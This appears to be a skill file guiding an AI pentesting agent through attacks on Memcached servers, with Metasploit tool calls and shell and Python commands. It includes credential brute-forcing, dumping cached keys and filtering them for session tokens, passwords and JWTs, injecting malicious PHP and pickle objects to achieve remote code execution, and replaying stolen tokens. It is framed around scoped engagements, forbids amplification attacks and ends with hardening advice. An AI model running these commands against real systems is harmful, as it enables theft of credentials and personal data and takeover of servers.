memcache-pentest

name	memcache-pentest
description	Guides Memcached in-memory cache penetration testing. Use when port 11211 is discovered during scanning or when Memcached is identified on a target.

Memcache Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Web targets with exposed cache: load web-app-pentest.
• Do not run amplification attacks. auxiliary/dos/* modules are forbidden by ROE.

Ports and detection

Port	Service
11211/tcp	Memcached
11211/udp	Memcached (amplification vector, document only)

Service fingerprint

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/memcached/memcached_amp",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 11211}
)

CLI fallback:

nmap -n -sV --script memcached-info -p 11211 <target>
echo "version" | nc -vn -w 1 <target> 11211
echo "stats" | nc -vn -w 1 <target> 11211

Workflow

Task Progress:
- [ ] Version and stats enumeration
- [ ] SASL auth testing
- [ ] Slab and key discovery (TCP and UDP)
- [ ] Cached data extraction
- [ ] Deserialization chain assessment
- [ ] Document findings

Stats and version enumeration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/gather/memcached_extractor",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 11211}
)

CLI fallback:

echo "version" | nc -vn -w 1 <target> 11211
echo "stats" | nc -vn -w 1 <target> 11211
echo "stats slabs" | nc -vn -w 1 <target> 11211
echo "stats items" | nc -vn -w 1 <target> 11211
memcstat --servers=<target>

SASL auth testing

MSF: No direct module; use CLI.

CLI fallback:

# Check if SASL required
echo "stats" | nc -vn <target> 11211
# CLIENT ERROR: auth required
echo -e "stats\r\n" | nc -vn <target> 11211

# Brute SASL credentials (when enabled)
# Using memcached-tool or custom script with SASL PLAIN
python3 -c "
import socket, base64
s = socket.create_connection(('<target>', 11211))
s.send(b'sasl plain\r\n')
# Send base64 null-separated auth string
auth = base64.b64encode(b'\\x00user\\x00pass').decode()
s.send(f'{len(auth)}\\r\\n{auth}\\r\\n'.encode())
print(s.recv(4096))
"

# libmemcached with SASL
memcstat --servers=<target> --username=user --password=pass

Most instances run without SASL (default misconfiguration).

Slab and key enumeration (TCP)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/gather/memcached_extractor",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 11211}
)

CLI fallback:

echo "stats slabs" | nc -vn -w 1 <target> 11211
echo "stats items" | nc -vn -w 1 <target> 11211
echo "stats cachedump 1 0" | nc -vn -w 1 <target> 11211
echo "get <key>" | nc -vn -w 1 <target> 11211
memcdump --servers=<target>
memccat --servers=<target> <key1> <key2>

Version 1.4.31+ key dump:

echo 'lru_crawler metadump all' | nc <target> 11211

PHP enumeration:

php -r '$c = new Memcached(); $c->addServer("<target>", 11211); var_dump($c->getAllKeys());'

UDP stat and dump

MSF: No direct module; use CLI.

CLI fallback:

# UDP stats (also reveals amplification factor)
echo -n "stats" | nc -u -vn -w 1 <target> 11211
echo -n "version" | nc -u -vn -w 1 <target> 11211
# Compare response size to request size for amplification ratio
python3 -c "
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'stats', ('<target>', 11211))
print(s.recv(65535))
"
# Document open UDP 11211; do NOT flood (ROE forbids DoS)

Cached data exfiltration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/gather/memcached_extractor",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 11211}
)

CLI fallback:

memcdump --servers=<target> | while read key; do
  echo "=== $key ==="
  memccat --servers=<target> "$key"
done
# Search for: session, user, token, auth, password, jwt
memcdump --servers=<target> | grep -iE 'session|token|auth|pass|jwt'

High-value cached data: session tokens, API keys, OAuth tokens, query results with PII.

Cached object deserialization chain

MSF: No direct module; use CLI.

CLI fallback:

# 1. Extract serialized objects from cache
memccat --servers=<target> session_key | xxd | head

# 2. Identify format
# PHP: O:8:"ClassName"
# Java: rO0 (base64 aced0005)
# Python pickle: \x80\x03
# Ruby: \x04\x08

# 3. If app reads from cache and deserializes, inject malicious object
# PHP (when write access available):
echo -e "set exploit_key 0 0 50\r\nO:8:\"Exploit\":1:{s:4:\"cmd\";s:6:\"id\";}\r\n" | nc <target> 11211

# Python pickle (when write access):
python3 -c "
import pickle, os, socket
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))
payload = pickle.dumps(RCE())
s = socket.create_connection(('<target>', 11211))
s.send(f'set rce_key 0 0 {len(payload)}\r\n'.encode() + payload + b'\r\n')
print(s.recv(1024))
"

# 4. Trigger deserialization by replaying session key in browser/API

Requires writable memcached or SSRF to memcached write endpoint.

Amplification risk (document only)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/memcached/memcached_amp",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 11211}
)

CLI fallback:

# Measure amplification factor only; do NOT flood
echo -n "stats" | nc -u -w1 <target> 11211 | wc -c

Document open UDP 11211 as misconfiguration finding. Do not weaponize (ROE forbids DoS).

Post-access

• Replay stolen session tokens in browser or API client
• Use leaked creds for database or application login
• Chain deserialization to RCE when app reads cached objects
• Recommend SASL, firewall restriction, and binding to localhost

Related skills

• web-app-pentest - session tokens and cached application data
• database-pentest - when cache stores query results or DB connection strings
• deserialization-pentest - cached object gadget chains